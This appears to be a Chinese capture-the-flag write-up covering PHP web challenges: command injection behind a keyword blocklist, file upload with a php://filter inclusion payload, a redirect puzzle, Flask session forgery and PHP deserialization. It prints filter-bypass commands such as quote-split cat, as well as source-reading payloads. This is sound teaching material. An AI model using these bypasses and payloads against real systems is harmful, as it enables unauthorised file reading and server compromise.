1z_php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file('index.php' ); if (isset($_POST['J' ])){ $call=$_POST['J' ]; $dangerous_commands = ['cat' , 'tac' , 'head' , 'nl' , 'more' , 'less' , 'tail' , 'vi' , 'sed' , 'od' ]; foreach ($dangerous_commands as $command) { if (preg_match("/$command/i" , $call)) { die("这些个危险函数可不兴使啊" ); } } system($call); } ?>
1 2 3 4 5 6 7 8 9 10 11 12 'cat' , 'tac' , 'head' , 'nl' , 'more' , 'less' , 'tail' , 'vi' , 'sed' , 'od' cat 查看,不仅仅是产看 tac 倒序输出,从第一行第二行第三行到第三行第二行第一行 head 查看前几行,默认是前10 行 tail 查看末尾几行,默认是前10 行 nl(number line) 输出每一行,并为每一行前面加上这一行的行号 more less 逐页查看,每次只查看一页 vi vim sed 都是文本编辑器 od -x 十六进制输出 od -c ASCII码输出 od 八进制输出 好了讲了一堆被过滤的。。
下面介绍绕过方法
c''at /f14g
''
在bash中会被解释为空字符串,当flag被禁时也可以用
ca/t /f14g
grep { /f14g
grep
是用来查找字符串的,在这里我们查找{
他会输出含有{
的那一行
strings /f14g
strings
会提取文件中的可打印字符
cp /f14g /var/www/html/index.php
将/f14g的内容拷贝到index.php
,index.php
的内容会被覆盖
UP!UPloader 文件上传与包含
首先介绍一下文件包含漏洞
远程文件包含漏洞与php://input的利用条件较为苛刻,要求allow_ur_include打开,但是在默认状态下这是关闭的
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $file =$_GET['file' ]; include($file); ?> include() include_once() require() require_once() include()和require()的区别: require()如果在包含过程中出错,就会直接退出,不执行后续语句 require()如果在包含过程中出错,只会提出警告,但不影响后续语句的执行
读取文件的内容采用php伪协议
file=php://filter/read=convert.base64-encode/resource=xxx.php
这里的xxx.php
可以为相对路径,也可为绝对路径
在这道题目中,我们任意上传有一个文件,会提示
文件上传成功!不过文件路径可不好找呀~什么?什么include.php?我不知道啊。
进入include.php
尝试包含 upload.php
:php://filter/read=convert.base64-encode/resource=upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php error_reporting(0 ); $file = $_FILES['file' ]; if (isset($file) && $file['size' ] > 0 ) { $ext = pathinfo($file['name' ], PATHINFO_EXTENSION); $name = pathinfo($file['name' ], PATHINFO_FILENAME); $dir_name = $name . '.' . $ext; $upload_dir = './uploads/' ; //当前路径的文件夹 if (!is_dir($upload_dir)) { mkdir($upload_dir, 0755, true); } if (move_uploaded_file($file['tmp_name' ], $upload_dir . md5($dir_name) . '.' . $ext)) { echo "文件上传成功!不过文件路径可不好找呀~什么?什么include.php?我不知道啊。" ; } else { echo "文件存储失败,未知原因......" ; } die(); } ?>uploads/ 会将文件名进行md5加密重命名放到当前路径的/uploads/文件夹中,
会将文件名进行md5加密重命名放到当前路径的/uploads/(./表示当前路径)文件夹中,即可得解
小蓝鲨的秘密
访问发现跳转`https://www.bluesharkinfo.com/`可能为302跳转,Location即为跳转的地址,但是不知道为什么bp抓不到一开始的包,但是可以现在浏览器打开network页面,再访问网站,监控流量,再或者我们使用curl访问,或者是python的requests库脚本
小蓝鲨的故事
python flask 客户端session伪造,不再赘述,可看p牛博客
https://www.leavesongs.com/PENETRATION/client-session-security.html
ezserialize
php反序列化,很久没有手搓过链子了,康复训练一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php error_reporting(0 ); class Flag { private $flag; public function __construct() { $this->flag = file_get_contents('/flag' ); } public function getFlag() { return $this->flag; } public function __toString() { return "You can't directly access the flag!" ; } } class User { public $username; public $isAdmin = false; public function __construct($username) { $this->username = $username; } public function __wakeup() { if ($this->isAdmin) { echo "Welcome, admin! Here's your flag: " . (new Flag())->getFlag(); } else { echo "Hello, " . htmlspecialchars($this->username) . "!" ; } } } if (isset($_GET['data' ])) { $data = $_GET['data' ]; $object = unserialize($data); if ($object instanceof User) { echo $object ; } else { echo "Invalid object!" ; } } else { highlight_file(__FILE__); } ?>